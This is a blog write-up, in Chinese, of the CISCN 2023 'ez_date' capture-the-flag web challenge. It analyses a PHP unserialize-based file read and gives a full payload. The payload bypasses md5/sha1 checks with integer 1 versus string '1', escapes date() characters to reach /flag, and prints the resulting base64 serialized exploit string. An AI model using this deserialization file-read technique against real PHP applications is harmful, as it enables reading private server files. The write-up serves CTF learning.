note-16

[CISCN 2023 华北]ez_date

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

审计:
大概是三个变量a,b,file,还有一个反序列化激活的 __wakeup(),先是

1
2
if(is_array($this->a)||is_array($this->b)){
die('no array');

不让用数组绕过
然后是绕过条件

1
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) )

要求a和b弱比较不同,&&a和b的md5和sha1值相同
然后看不懂了

分析:
(1)wakeup方法首先禁用了数组,所以不能给成员变量a和b赋值数组,需要使用其他方法绕过下面的md5和sha1。
(2)因为比较变量使用的是弱比较(!==),则我们可以给a、b赋值同值不同类,例如a=1、b=’1’,二者md5值和sha1值相同,可以通过检查。
(3)变量content接受经过date日期格式化后的变量file。
对于date()方法:
该方法会检测传入的字符串中是否有特定的格式化字符,如Y(年份)、m(月份)、d(天)、H(时)、i(分钟)、s(秒)等
检测存在则会将格式化字符替换为当前时间的对应部分,否则将字符进行原样输出,同时可用转义字符将格式化字符原样输出
(4)uniqid()方法会生成一个唯一的文件名,并与后缀“.txt”拼接成变量uuid。
(5)file_put_contents()方法会将content的内容写入uuid表示的文本文档中。对文本文档的内容进行正则匹配,去除内容中的空格和换行符,赋值给变量打他。
(6)显示变量data的内容。
综上,我们需要绕过检测,为变量file赋值一个不会被date方法格式化的flag路径,读取到flag后,借由变量data显示出来。
https://www.cnblogs.com/yuspace/p/18114039

重要的来了
KIMI:

1
2
echo file_get_contents($data);
//作用:尝试将$data作为文件路径,读取该路径下的文件内容并输出到浏览器。这里可能存在路径遍历或文件包含漏洞,如果$data的值可控且未经过充分验证。
1
2
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
//作用:读取刚刚创建的$uuid文件的内容,并使用正则表达式preg_replace()去除其中的空白字符(包括空格、换行符等)。最终结果存储在$data变量中。

最后payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
$a=new date();
//同值不同类,通过三个检测
$a->a=1;
$a->b='1';
//此处file的内容在经过data()方法格式化后显示为/flag
$a->file="/f\l\a\g";
echo base64_encode(serialize($a));

//输出:Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjg6Ii9mXGxcYVxnIjt9

by https://www.cnblogs.com/yuspace/p/18114039

值同类不同

$this->a !== $this->b:

$this->a 是整数 1,$this->b 是字符串 ‘1’。在 PHP 中,它们的值虽然相等,但类型不同,因此 !== 比较结果为 true。

md5($this->a) === md5($this->b):

当你将整数 1 传递给 md5() 函数时,PHP 会将其转换为字符串 ‘1’,因此 md5(1) 和 md5(‘1’) 的结果是相同的。

sha1($this->a) === sha1($this->b):

同样,sha1() 函数也会将整数 1 转换为字符串 ‘1’,因此 sha1(1) 和 sha1(‘1’) 的结果也是相同的。


note-16
https://aidemofashi.github.io/2025/03/22/note-16/
作者
aidemofashi
发布于
2025年3月22日
许可协议